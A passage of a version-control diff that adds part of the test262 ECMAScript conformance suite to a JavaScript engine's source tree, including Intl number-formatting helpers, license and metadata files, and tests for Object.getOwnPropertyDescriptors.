+ var numberingSystems = [
+ "arab",
+ "arabext",
+ "armn",
+ "armnlow",
+ "bali",
+ "beng",
+ "brah",
+ "cakm",
+ "cham",
+ "deva",
+ "ethi",
+ "finance",
+ "fullwide",
+ "geor",
+ "grek",
+ "greklow",
+ "gujr",
+ "guru",
+ "hanidec",
+ "hans",
+ "hansfin",
+ "hant",
+ "hantfin",
+ "hebr",
+ "java",
+ "jpan",
+ "jpanfin",
+ "kali",
+ "khmr",
+ "knda",
+ "osma",
+ "lana",
+ "lanatham",
+ "laoo",
+ "latn",
+ "lepc",
+ "limb",
+ "mlym",
+ "mong",
+ "mtei",
+ "mymr",
+ "mymrshan",
+ "native",
+ "nkoo",
+ "olck",
+ "orya",
+ "roman",
+ "romanlow",
+ "saur",
+ "shrd",
+ "sora",
+ "sund",
+ "talu",
+ "takr",
+ "taml",
+ "tamldec",
+ "telu",
+ "thai",
+ "tibt",
+ "traditio",
+ "vaii"
+ ];
+
+ var excluded = [
+ "finance",
+ "native",
+ "traditio"
+ ];
+
+
+ return numberingSystems.indexOf(name) !== -1 && excluded.indexOf(name) === -1;
+}
+
+
+/**
+ * Provides the digits of numbering systems with simple digit mappings,
+ * as specified in 11.3.2.
+ */
+
+var numberingSystemDigits = {
+ arab: "٠١٢٣٤٥٦٧٨٩",
+ arabext: "۰۱۲۳۴۵۶۷۸۹",
+ beng: "০১২৩৪৫৬৭৮৯",
+ deva: "०१२३४५६७८९",
+ fullwide: "0123456789",
+ gujr: "૦૧૨૩૪૫૬૭૮૯",
+ guru: "੦੧੨੩੪੫੬੭੮੯",
+ hanidec: "〇一二三四五六七八九",
+ khmr: "០១២៣៤៥៦៧៨៩",
+ knda: "೦೧೨೩೪೫೬೭೮೯",
+ laoo: "໐໑໒໓໔໕໖໗໘໙",
+ latn: "0123456789",
+ mlym: "൦൧൨൩൪൫൬൭൮൯",
+ mong: "᠐᠑᠒᠓᠔᠕᠖᠗᠘᠙",
+ mymr: "၀၁၂၃၄၅၆၇၈၉",
+ orya: "୦୧୨୩୪୫୬୭୮୯",
+ tamldec: "௦௧௨௩௪௫௬௭௮௯",
+ telu: "౦౧౨౩౪౫౬౭౮౯",
+ thai: "๐๑๒๓๔๕๖๗๘๙",
+ tibt: "༠༡༢༣༤༥༦༧༨༩"
+};
+
+
+/**
+ * Tests that number formatting is handled correctly. The function checks that the
+ * digit sequences in formatted output are as specified, converted to the
+ * selected numbering system, and embedded in consistent localized patterns.
+ * @param {Array} locales the locales to be tested.
+ * @param {Array} numberingSystems the numbering systems to be tested.
+ * @param {Object} options the options to pass to Intl.NumberFormat. Options
+ * must include {useGrouping: false}, and must cause 1.1 to be formatted
+ * pre- and post-decimal digits.
+ * @param {Object} testData maps input data (in ES5 9.3.1 format) to expected output strings
+ * in unlocalized format with Western digits.
+ */
+
+function testNumberFormat(locales, numberingSystems, options, testData) {
+ locales.forEach(function (locale) {
+ numberingSystems.forEach(function (numbering) {
+ var digits = numberingSystemDigits[numbering];
+ var format = new Intl.NumberFormat([locale + "-u-nu-" + numbering], options);
+
+ function getPatternParts(positive) {
+ var n = positive ? 1.1 : -1.1;
+ var formatted = format.format(n);
+ var oneoneRE = "([^" + digits + "]*)[" + digits + "]+([^" + digits + "]+)[" + digits + "]+([^" + digits + "]*)";
+ var match = formatted.match(new RegExp(oneoneRE));
+ if (match === null) {
+ $ERROR("Unexpected formatted " + n + " for " +
+ format.resolvedOptions().locale + " and options " +
+ JSON.stringify(options) + ": " + formatted);
+ }
+ return match;
+ }
+
+ function toNumbering(raw) {
+ return raw.replace(/[0-9]/g, function (digit) {
+ return digits[digit.charCodeAt(0) - "0".charCodeAt(0)];
+ });
+ }
+
+ function buildExpected(raw, patternParts) {
+ var period = raw.indexOf(".");
+ if (period === -1) {
+ return patternParts[1] + toNumbering(raw) + patternParts[3];
+ } else {
+ return patternParts[1] +
+ toNumbering(raw.substring(0, period)) +
+ patternParts[2] +
+ toNumbering(raw.substring(period + 1)) +
+ patternParts[3];
+ }
+ }
+
+ if (format.resolvedOptions().numberingSystem === numbering) {
+ // figure out prefixes, infixes, suffixes for positive and negative values
+ var posPatternParts = getPatternParts(true);
+ var negPatternParts = getPatternParts(false);
+
+ Object.getOwnPropertyNames(testData).forEach(function (input) {
+ var rawExpected = testData[input];
+ var patternParts;
+ if (rawExpected[0] === "-") {
+ patternParts = negPatternParts;
+ rawExpected = rawExpected.substring(1);
+ } else {
+ patternParts = posPatternParts;
+ }
+ var expected = buildExpected(rawExpected, patternParts);
+ var actual = format.format(input);
+ if (actual !== expected) {
+ $ERROR("Formatted value for " + input + ", " +
+ format.resolvedOptions().locale + " and options " +
+ JSON.stringify(options) + " is " + actual + "; expected " + expected + ".");
+ }
+ });
+ }
+ });
+ });
+}
+
+
+/**
+ * Return the components of date-time formats.
+ * @return {Array} an array with all date-time components.
+ */
+
+function getDateTimeComponents() {
+ return ["weekday", "era", "year", "month", "day", "hour", "minute", "second", "timeZoneName"];
+}
+
+
+/**
+ * Return the valid values for the given date-time component, as specified
+ * by the table in section 12.1.1.
+ * @param {string} component a date-time component.
+ * @return {Array} an array with the valid values for the component.
+ */
+
+function getDateTimeComponentValues(component) {
+
+ var components = {
+ weekday: ["narrow", "short", "long"],
+ era: ["narrow", "short", "long"],
+ year: ["2-digit", "numeric"],
+ month: ["2-digit", "numeric", "narrow", "short", "long"],
+ day: ["2-digit", "numeric"],
+ hour: ["2-digit", "numeric"],
+ minute: ["2-digit", "numeric"],
+ second: ["2-digit", "numeric"],
+ timeZoneName: ["short", "long"]
+ };
+
+ var result = components[component];
+ if (result === undefined) {
+ $ERROR("Internal error: No values defined for date-time component " + component + ".");
+ }
+ return result;
+}
+
+
+/**
+ * Tests that the given value is valid for the given date-time component.
+ * @param {string} component a date-time component.
+ * @param {string} value the value to be tested.
+ * @return {boolean} true if the test succeeds.
+ * @exception if the test fails.
+ */
+
+function testValidDateTimeComponentValue(component, value) {
+ if (getDateTimeComponentValues(component).indexOf(value) === -1) {
+ $ERROR("Invalid value " + value + " for date-time component " + component + ".");
+ }
+ return true;
+}
+
+
+/**
+ * Verifies that the actual array matches the expected one in length, elements,
+ * and element order.
+ * @param {Array} expected the expected array.
+ * @param {Array} actual the actual array.
+ * @return {boolean} true if the test succeeds.
+ * @exception if the test fails.
+ */
+function testArraysAreSame(expected, actual) {
+ for (i = 0; i < Math.max(actual.length, expected.length); i++) {
+ if (actual[i] !== expected[i]) {
+ $ERROR("Result array element at index " + i + " should be \"" +
+ expected[i] + "\" but is \"" + actual[i] + "\".");
+ }
+ }
+ return true;
+}
+
diff --git a/js/src/tests/test262/HG-INFO b/js/src/tests/test262/HG-INFO
new file mode 100644
index 000000000..a44725501
--- /dev/null
+++ b/js/src/tests/test262/HG-INFO
@@ -0,0 +1,7 @@
+URL: http://hg.ecmascript.org/tests/test262/
+changeset: 378:d067d2f0ca30
+tag: tip
+user: Brent Baker <brbaker@adobe.com>
+date: Thu Jun 13 10:07:45 2013 -0400
+summary: Bug 1128: use Date.prototype.getFullYear() in S15.2.2.1_A2_T5
+
diff --git a/js/src/tests/test262/LICENSE b/js/src/tests/test262/LICENSE
new file mode 100644
index 000000000..46b55a37b
--- /dev/null
+++ b/js/src/tests/test262/LICENSE
@@ -0,0 +1,28 @@
+The << Software identified by reference to the Ecma Standard* ("Software)">> is protected by copyright and is being
+made available under the "BSD License", included below. This Software may be subject to third party rights (rights
+from parties other than Ecma International), including patent rights, and no licenses under such third party rights
+are granted under this license even if the third party concerned is a member of Ecma International. SEE THE ECMA
+CODE OF CONDUCT IN PATENT MATTERS AVAILABLE AT http://www.ecma-international.org/memento/codeofconduct.htm FOR
+INFORMATION REGARDING THE LICENSING OF PATENT CLAIMS THAT ARE REQUIRED TO IMPLEMENT ECMA INTERNATIONAL STANDARDS*.
+
+Copyright (C) 2012-2013 Ecma International
+All rights reserved.
+
+Redistribution and use in source and binary forms, with or without modification, are permitted provided that the
+following conditions are met:
+1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following
+ disclaimer.
+2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the
+ following disclaimer in the documentation and/or other materials provided with the distribution.
+3. Neither the name of the authors nor Ecma International may be used to endorse or promote products derived from
+ this software without specific prior written permission.
+
+THIS SOFTWARE IS PROVIDED BY THE ECMA INTERNATIONAL "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT
+SHALL ECMA INTERNATIONAL BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
+(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
+INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
+NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH
+DAMAGE.
+
+* Ecma International Standards hereafter means Ecma International Standards as well as Ecma Technical Reports \ No newline at end of file
diff --git a/js/src/tests/test262/browser.js b/js/src/tests/test262/browser.js
new file mode 100644
index 000000000..fb4c18106
--- /dev/null
+++ b/js/src/tests/test262/browser.js
@@ -0,0 +1,11 @@
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ * Test262 function $INCLUDE loads a file with support functions for the tests.
+ * Our initial import strategy will be to attempt to load all these files
+ * unconditionally (this may change at some point), so just ignore the call.
+ * This function replaces one in shell.js.
+ */
+function $INCLUDE(file) {}
diff --git a/js/src/tests/test262/built-ins/Object/getOwnPropertyDescriptors/duplicate-keys.js b/js/src/tests/test262/built-ins/Object/getOwnPropertyDescriptors/duplicate-keys.js
new file mode 100644
index 000000000..371c6c1da
--- /dev/null
+++ b/js/src/tests/test262/built-ins/Object/getOwnPropertyDescriptors/duplicate-keys.js
@@ -0,0 +1,38 @@
+// Copyright (C) 2016 Jordan Harband. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/*---
+description: Object.getOwnPropertyDescriptors on a proxy with duplicate ownKeys should work
+esid: pending
+author: Jordan Harband
+features: [Proxy]
+---*/
+
+var i = 0;
+var descriptors = [
+ { enumerable: false, value: "A1", writable: true, configurable: true },
+ { enumerable: true, value: "A2", writable: true, configurable: true }
+];
+var log = '';
+var proxy = new Proxy({}, {
+ ownKeys() {
+ log += 'ownKeys|';
+ return ['DUPLICATE', 'DUPLICATE', 'DUPLICATE'];
+ },
+ getOwnPropertyDescriptor(t, name) {
+ log += 'getOwnPropertyDescriptor:' + name + '|';
+ return descriptors[i++];
+ }
+});
+
+var result = Object.getOwnPropertyDescriptors(proxy);
+assert.sameValue(result.hasOwnProperty('DUPLICATE'), true);
+
+var lastDescriptor = descriptors[descriptors.length - 1];
+assert.notSameValue(result.DUPLICATE, lastDescriptor);
+assert.sameValue(result.DUPLICATE.enumerable, lastDescriptor.enumerable);
+assert.sameValue(result.DUPLICATE.configurable, lastDescriptor.configurable);
+assert.sameValue(result.DUPLICATE.value, lastDescriptor.value);
+assert.sameValue(result.DUPLICATE.writable, lastDescriptor.writable);
+
+assert.sameValue(log, 'ownKeys|getOwnPropertyDescriptor:DUPLICATE|getOwnPropertyDescriptor:DUPLICATE|getOwnPropertyDescriptor:DUPLICATE|');
diff --git a/js/src/tests/test262/built-ins/Object/getOwnPropertyDescriptors/exception-not-object-coercible.js b/js/src/tests/test262/built-ins/Object/getOwnPropertyDescriptors/exception-not-object-coercible.js
new file mode 100644
index 000000000..0bfc62bd4
--- /dev/null
+++ b/js/src/tests/test262/built-ins/Object/getOwnPropertyDescriptors/exception-not-object-coercible.js
@@ -0,0 +1,16 @@
+// Copyright (C) 2016 Jordan Harband. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/*---
+description: Object.getOwnPropertyDescriptors should fail if given a null or undefined value
+esid: pending
+author: Jordan Harband
+---*/
+
+assert.throws(TypeError, function () {
+ Object.getOwnPropertyDescriptors(null);
+});
+
+assert.throws(TypeError, function () {
+ Object.getOwnPropertyDescriptors(undefined);
+});
diff --git a/js/src/tests/test262/built-ins/Object/getOwnPropertyDescriptors/function-length.js b/js/src/tests/test262/built-ins/Object/getOwnPropertyDescriptors/function-length.js
new file mode 100644
index 000000000..af96f51d9
--- /dev/null
+++ b/js/src/tests/test262/built-ins/Object/getOwnPropertyDescriptors/function-length.js
@@ -0,0 +1,16 @@
+// Copyright (C) 2016 Jordan Harband. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/*---
+description: Object.getOwnPropertyDescriptors should have length 1
+esid: pending
+author: Jordan Harband
+includes: [propertyHelper.js]
+---*/
+
+assert.sameValue(Object.getOwnPropertyDescriptors.length, 1, 'Expected Object.getOwnPropertyDescriptors.length to be 1');
+
+var desc = Object.getOwnPropertyDescriptor(Object.getOwnPropertyDescriptors, 'length');
+assertEq(desc.enumerable, false);
+assertEq(desc.writable, false);
+assertEq(desc.configurable, true);
diff --git a/js/src/tests/test262/built-ins/Object/getOwnPropertyDescriptors/function-name.js b/js/src/tests/test262/built-ins/Object/getOwnPropertyDescriptors/function-name.js
new file mode 100644
index 000000000..553ef7eba
--- /dev/null
+++ b/js/src/tests/test262/built-ins/Object/getOwnPropertyDescriptors/function-name.js
@@ -0,0 +1,20 @@
+// Copyright (C) 2016 Jordan Harband. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/*---
+description: Object.getOwnPropertyDescriptors should have name property with value 'getOwnPropertyDescriptors'
+esid: pending
+author: Jordan Harband
+includes: [propertyHelper.js]
+---*/
+
+assert.sameValue(
+ Object.getOwnPropertyDescriptors.name,
+ 'getOwnPropertyDescriptors',
+ 'Expected Object.getOwnPropertyDescriptors.name to be "getOwnPropertyDescriptors"'
+);
+
+var desc = Object.getOwnPropertyDescriptor(Object.getOwnPropertyDescriptors, 'name');
+assertEq(desc.enumerable, false);
+assertEq(desc.writable, false);
+assertEq(desc.configurable, true);
diff --git a/js/src/tests/test262/built-ins/Object/getOwnPropertyDescriptors/function-property-descriptor.js b/js/src/tests/test262/built-ins/Object/getOwnPropertyDescriptors/function-property-descriptor.js
new file mode 100644
index 000000000..b71f054a0
--- /dev/null
+++ b/js/src/tests/test262/built-ins/Object/getOwnPropertyDescriptors/function-property-descriptor.js
@@ -0,0 +1,14 @@
+// Copyright (C) 2016 Jordan Harband. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/*---
+description: Object.getOwnPropertyDescriptors should be writable, non-enumerable, and configurable
+esid: pending
+author: Jordan Harband
+includes: [propertyHelper.js]
+---*/
+
+var desc = Object.getOwnPropertyDescriptor(Object, 'getOwnPropertyDescriptors');
+assertEq(desc.enumerable, false);
+assertEq(desc.writable, true);
+assertEq(desc.configurable, true);
diff --git a/js/src/tests/test262/built-ins/Object/getOwnPropertyDescriptors/inherited-properties-omitted.js b/js/src/tests/test262/built-ins/Object/getOwnPropertyDescriptors/inherited-properties-omitted.js
new file mode 100644
index 000000000..c19d40c59
--- /dev/null
+++ b/js/src/tests/test262/built-ins/Object/getOwnPropertyDescriptors/inherited-properties-omitted.js
@@ -0,0 +1,43 @@
+// Copyright (C) 2016 Jordan Harband. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/*---
+description: Object.getOwnPropertyDescriptors does not see inherited properties.
+esid: pending
+author: Jordan Harband
+---*/
+
+var F = function () {};
+F.prototype.a = {};
+F.prototype.b = {};
+
+var f = new F();
+var bValue = {};
+f.b = bValue; // shadow the prototype
+Object.defineProperty(f, 'c', {
+ enumerable: false,
+ configurable: true,
+ writable: false,
+ value: {}
+}); // solely an own property
+
+var result = Object.getOwnPropertyDescriptors(f);
+
+assert.sameValue(!!result.b, true, 'b has a descriptor');
+assert.sameValue(!!result.c, true, 'c has a descriptor');
+
+assert.sameValue(result.b.enumerable, true, 'b is enumerable');
+assert.sameValue(result.b.configurable, true, 'b is configurable');
+assert.sameValue(result.b.writable, true, 'b is writable');
+assert.sameValue(result.b.value, bValue, 'b’s value is `bValue`');
+
+assert.sameValue(result.c.enumerable, false, 'c is enumerable');
+assert.sameValue(result.c.configurable, true, 'c is configurable');
+assert.sameValue(result.c.writable, false, 'c is writable');
+assert.sameValue(result.c.value, f.c, 'c’s value is `f.c`');
+
+assert.sameValue(
+ Object.keys(result).length,
+ 2,
+ 'result has same number of own property names as f'
+);
diff --git a/js/src/tests/test262/built-ins/Object/getOwnPropertyDescriptors/normal-object.js b/js/src/tests/test262/built-ins/Object/getOwnPropertyDescriptors/normal-object.js
new file mode 100644
index 000000000..8ef7f8c5c
--- /dev/null
+++ b/js/src/tests/test262/built-ins/Object/getOwnPropertyDescriptors/normal-object.js
@@ -0,0 +1,13 @@
+// Copyright (C) 2016 Jordan Harband. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/*---
+description: Object.getOwnPropertyDescriptors should produce a normal object inheriting from Object.prototype
+esid: pending
+author: Jordan Harband
+---*/
+
+assert.sameValue(
+ Object.getPrototypeOf(Object.getOwnPropertyDescriptors({})),
+ Object.prototype
+);
diff --git a/js/src/tests/test262/built-ins/Object/getOwnPropertyDescriptors/observable-operations.js b/js/src/tests/test262/built-ins/Object/getOwnPropertyDescriptors/observable-operations.js
new file mode 100644
index 000000000..c1211613d
--- /dev/null
+++ b/js/src/tests/test262/built-ins/Object/getOwnPropertyDescriptors/observable-operations.js
@@ -0,0 +1,34 @@
+// Copyright (C) 2016 Jordan Harband. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/*---
+description: Object.getOwnPropertyDescriptors should perform observable operations in the correct order
+esid: pending
+author: Jordan Harband
+features: [Proxy]
+includes: [proxyTrapsHelper.js]
+---*/
+
+var log = "";
+var object = { a: 0, b: 0, c: 0 };
+var handler = {
+ getOwnPropertyDescriptor: function (target, propertyKey) {
+ assert.sameValue(target, object, "getOwnPropertyDescriptor");
+ log += "|getOwnPropertyDescriptor:" + propertyKey;
+ return Object.getOwnPropertyDescriptor(target, propertyKey);
+ },
+ ownKeys: function (target) {
+ assert.sameValue(target, object, "ownKeys");
+ log += "|ownKeys";
+ return Object.getOwnPropertyNames(target);
+ }
+};
+var check = {
+ get: function (target, propertyKey, receiver) {
+ assertEq(propertyKey in target, true, "handler check: " + propertyKey);
+ return target[propertyKey];
+ }
+};
+var proxy = new Proxy(object, new Proxy(handler, check));
+var result = Object.getOwnPropertyDescriptors(proxy);
+assert.sameValue(log, "|ownKeys|getOwnPropertyDescriptor:a|getOwnPropertyDescriptor:b|getOwnPropertyDescriptor:c", 'log');
diff --git a/js/src/tests/test262/built-ins/Object/getOwnPropertyDescriptors/primitive-booleans.js b/js/src/tests/test262/built-ins/Object/getOwnPropertyDescriptors/primitive-booleans.js
new file mode 100644
index 000000000..899aaa0e5
--- /dev/null
+++ b/js/src/tests/test262/built-ins/Object/getOwnPropertyDescriptors/primitive-booleans.js
@@ -0,0 +1,16 @@
+// Copyright (C) 2016 Jordan Harband. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/*---
+description: Object.getOwnPropertyDescriptors accepts boolean primitives.
+esid: pending
+author: Jordan Harband
+---*/
+
+var trueResult = Object.getOwnPropertyDescriptors(true);
+
+assert.sameValue(Object.keys(trueResult).length, 0, 'trueResult has 0 items');
+
+var falseResult = Object.getOwnPropertyDescriptors(false);
+
+assert.sameValue(Object.keys(falseResult).length, 0, 'falseResult has 0 items');
diff --git a/js/src/tests/test262/built-ins/Object/getOwnPropertyDescriptors/primitive-numbers.js b/js/src/tests/test262/built-ins/Object/getOwnPropertyDescriptors/primitive-numbers.js
new file mode 100644
index 000000000..495796ae4
--- /dev/null
+++ b/js/src/tests/test262/built-ins/Object/getOwnPropertyDescriptors/primitive-numbers.js
@@ -0,0 +1,15 @@
+// Copyright (C) 2016 Jordan Harband. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/*---
+description: Object.getOwnPropertyDescriptors accepts number primitives.
+esid: pending
+author: Jordan Harband
+---*/
+
+assert.sameValue(Object.keys(Object.getOwnPropertyDescriptors(0)).length, 0, '0 has zero descriptors');
+assert.sameValue(Object.keys(Object.getOwnPropertyDescriptors(-0)).length, 0, '-0 has zero descriptors');
+assert.sameValue(Object.keys(Object.getOwnPropertyDescriptors(Infinity)).length, 0, 'Infinity has zero descriptors');
+assert.sameValue(Object.keys(Object.getOwnPropertyDescriptors(-Infinity)).length, 0, '-Infinity has zero descriptors');
+assert.sameValue(Object.keys(Object.getOwnPropertyDescriptors(NaN)).length, 0, 'NaN has zero descriptors');
+assert.sameValue(Object.keys(Object.getOwnPropertyDescriptors(Math.PI)).length, 0, 'Math.PI has zero descriptors');
diff --git a/js/src/tests/test262/built-ins/Object/getOwnPropertyDescriptors/primitive-strings.js b/js/src/tests/test262/built-ins/Object/getOwnPropertyDescriptors/primitive-strings.js
new file mode 100644
index 000000000..c8d3be9ec
--- /dev/null
+++ b/js/src/tests/test262/built-ins/Object/getOwnPropertyDescriptors/primitive-strings.js
@@ -0,0 +1,33 @@
+// Copyright (C) 2016 Jordan Harband. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/*---
+description: Object.getOwnPropertyDescriptors accepts string primitives.
+esid: pending
+author: Jordan Harband
+---*/
+
+var result = Object.getOwnPropertyDescriptors('abc');
+
+assert.sameValue(Object.keys(result).length, 4, 'string has 4 descriptors');
+
+assert.sameValue(result.length.configurable, false, 'length is not configurable');
+assert.sameValue(result.length.enumerable, false, 'length is not enumerable');
+assert.sameValue(result.length.writable, false, 'length is not writable');
+assert.sameValue(result.length.value, 3, 'length is 3');
+
+assert.sameValue(result[0].configurable, false, 'index 0 is not configurable');
+assert.sameValue(result[0].enumerable, true, 'index 0 is enumerable');
+assert.sameValue(result[0].writable, false, 'index 0 is not writable');
+assert.sameValue(result[0].value, 'a', 'index 0 is "a"');
+
+assert.sameValue(result[1].configurable, false, 'index 1 is not configurable');
+assert.sameValue(result[1].enumerable, true, 'index 1 is enumerable');
+assert.sameValue(result[1].writable, false, 'index 1 is not writable');
+assert.sameValue(result[1].value, 'b', 'index 1 is "b"');
+
+assert.sameValue(result[2].configurable, false, 'index 2 is not configurable');
+assert.sameValue(result[2].enumerable, true, 'index 2 is enumerable');
+assert.sameValue(result[2].writable, false, 'index 2 is not writable');
+assert.sameValue(result[2].value, 'c', 'index 2 is "c"');
+
diff --git a/js/src/tests/test262/built-ins/Object/getOwnPropertyDescriptors/primitive-symbols.js b/js/src/tests/test262/built-ins/Object/getOwnPropertyDescriptors/primitive-symbols.js
new file mode 100644
index 000000000..d30fa3f46
--- /dev/null
+++ b/js/src/tests/test262/built-ins/Object/getOwnPropertyDescriptors/primitive-symbols.js
@@ -0,0 +1,13 @@
+// Copyright (C) 2016 Jordan Harband. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/*---
+description: Object.getOwnPropertyDescriptors accepts Symbol primitives.
+esid: pending
+author: Jordan Harband
+features: [Symbol]
+---*/
+
+var result = Object.getOwnPropertyDescriptors(Symbol());
+
+assert.sameValue(Object.keys(result).length, 0, 'symbol primitive has no descriptors');
diff --git a/js/src/tests/test262/built-ins/Object/getOwnPropertyDescriptors/proxy-undefined-descriptor.js b/js/src/tests/test262/built-ins/Object/getOwnPropertyDescriptors/proxy-undefined-descriptor.js
new file mode 100644
index 000000000..6eb6c7071
--- /dev/null
+++ b/js/src/tests/test262/built-ins/Object/getOwnPropertyDescriptors/proxy-undefined-descriptor.js
@@ -0,0 +1,32 @@
+// Copyright (C) 2016 Jordan Harband. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/*---
+description: Object.getOwnPropertyDescriptors should filter out undefined OwnPropertyDescriptors
+esid: sec-object.getownpropertydescriptors
+author: Jordan Harband
+featurewws: [Proxy]
+includes: [proxyTrapsHelper.js]
+---*/
+
+var key = "a";
+var ownKeys = [key];
+var badProxyHandlers = {
+ getOwnPropertyDescriptor: function () {},
+ ownKeys: function () {
+ return ownKeys;
+ }
+};
+var proxy = new Proxy({}, badProxyHandlers);
+
+var keys = Reflect.ownKeys(proxy);
+assert.notSameValue(keys, ownKeys, 'Object.keys returns a new Array');
+assert.sameValue(Array.isArray(keys), true, 'Object.keys returns an Array');
+assert.sameValue(keys.length, ownKeys.length, 'keys and ownKeys have the same length');
+assert.sameValue(keys[0], ownKeys[0], 'keys and ownKeys have the same contents');
+
+var descriptor = Object.getOwnPropertyDescriptor(proxy, key);
+assert.sameValue(descriptor, undefined, "Descriptor matches result of [[GetOwnPropertyDescriptor]] trap");
+
+var result = Object.getOwnPropertyDescriptors(proxy);
+assert.sameValue(key in result, false, "key is not present in result");
diff --git a/js/src/tests/test262/built-ins/Object/getOwnPropertyDescriptors/shell.js b/js/src/tests/test262/built-ins/Object/getOwnPropertyDescriptors/shell.js
new file mode 100644
index 000000000..6ed766e94
--- /dev/null
+++ b/js/src/tests/test262/built-ins/Object/getOwnPropertyDescriptors/shell.js
@@ -0,0 +1,27 @@
+var assert = {
+ sameValue: assertEq,
+ notSameValue(a, b, msg) {
+ try {
+ assertEq(a, b);
+ throw "equal"
+ } catch (e) {
+ if (e === "equal")
+ throw new Error("Assertion failed: expected different values, got " + a);
+ }
+ },
+ throws(ctor, f) {
+ var fullmsg;
+ try {
+ f();
+ } catch (exc) {
+ if (exc instanceof ctor)
+ return;
+ fullmsg = "Assertion failed: expected exception " + ctor.name + ", got " + exc;
+ }
+ if (fullmsg === undefined)
+ fullmsg = "Assertion failed: expected exception " + ctor.name + ", no exception thrown";
+ if (msg !== undefined)
+ fullmsg += " - " + msg;
+ throw new Error(fullmsg);
+ }
+}
diff --git a/js/src/tests/test262/built-ins/Object/getOwnPropertyDescriptors/symbols-included.js b/js/src/tests/test262/built-ins/Object/getOwnPropertyDescriptors/symbols-included.js
new file mode 100644
index 000000000..5b3241126
--- /dev/null
+++ b/js/src/tests/test262/built-ins/Object/getOwnPropertyDescriptors/symbols-included.js
@@ -0,0 +1,38 @@
+// Copyright (C) 2016 Jordan Harband. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/*---
+description: Object.getOwnPropertyDescriptors includes Symbol keys.
+esid: pending
+author: Jordan Harband
+features: [Symbol]
+---*/
+
+var value = {};
+var enumSym = Symbol('enum');
+var nonEnumSym = Symbol('nonenum');
+var symValue = Symbol('value');
+
+var obj = { key: symValue };
+obj[enumSym] = value;
+Object.defineProperty(obj, nonEnumSym, { writable: true, enumerable: false, configurable: true, value: value });
+
+var result = Object.getOwnPropertyDescriptors(obj);
+
+assert.sameValue(Object.keys(result).length, 1, 'obj has 1 string-keyed descriptor');
+assert.sameValue(Object.getOwnPropertySymbols(result).length, 2, 'obj has 2 symbol-keyed descriptors');
+
+assert.sameValue(result.key.configurable, true, 'result.key is configurable');
+assert.sameValue(result.key.enumerable, true, 'result.key is enumerable');
+assert.sameValue(result.key.writable, true, 'result.key is writable');
+assert.sameValue(result.key.value, symValue, 'result.key has value symValue');
+
+assert.sameValue(result[enumSym].configurable, true, 'result[enumSym] is configurable');
+assert.sameValue(result[enumSym].enumerable, true, 'result[enumSym] is enumerable');
+assert.sameValue(result[enumSym].writable, true, 'result[enumSym] is writable');
+assert.sameValue(result[enumSym].value, value, 'result[enumSym] has value `value`');
+
+assert.sameValue(result[nonEnumSym].configurable, true, 'result[nonEnumSym] is configurable');
+assert.sameValue(result[nonEnumSym].enumerable, false, 'result[nonEnumSym] is not enumerable');
+assert.sameValue(result[nonEnumSym].writable, true, 'result[nonEnumSym] is writable');
+assert.sameValue(result[nonEnumSym].value, value, 'result[nonEnumSym] has value `value`');
diff --git a/js/src/tests/test262/built-ins/Object/getOwnPropertyDescriptors/tamper-with-global-object.js b/js/src/tests/test262/built-ins/Object/getOwnPropertyDescriptors/tamper-with-global-object.js
new file mode 100644
index 000000000..a76b5ba2a
--- /dev/null
+++ b/js/src/tests/test262/built-ins/Object/getOwnPropertyDescriptors/tamper-with-global-object.js
@@ -0,0 +1,21 @@
+// Copyright (C) 2016 Jordan Harband. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/*---
+description: >
+ Object.getOwnPropertyDescriptors should not have its behavior impacted by modifications to the global property Object
+esid: pending
+author: Jordan Harband
+---*/
+
+function fakeObject() {
+ $ERROR('The overriden version of Object was called!');
+}
+fakeObject.getOwnPropertyDescriptors = Object.getOwnPropertyDescriptors;
+fakeObject.keys = Object.keys;
+
+var global = this;
+global.Object = fakeObject;
+
+assert.sameValue(Object, fakeObject, 'Sanity check failed: could not modify the global Object');
+assert.sameValue(Object.keys(Object.getOwnPropertyDescriptors('a')).length, 2, 'Expected string primitive to have 2 descriptors');
diff --git a/js/src/tests/test262/built-ins/Object/getOwnPropertyDescriptors/tamper-with-object-keys.js b/js/src/tests/test262/built-ins/Object/getOwnPropertyDescriptors/tamper-with-object-keys.js
new file mode 100644
index 000000000..1f4d69893
--- /dev/null
+++ b/js/src/tests/test262/built-ins/Object/getOwnPropertyDescriptors/tamper-with-object-keys.js
@@ -0,0 +1,22 @@
+// Copyright (C) 2016 Jordan Harband. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/*---
+description: >
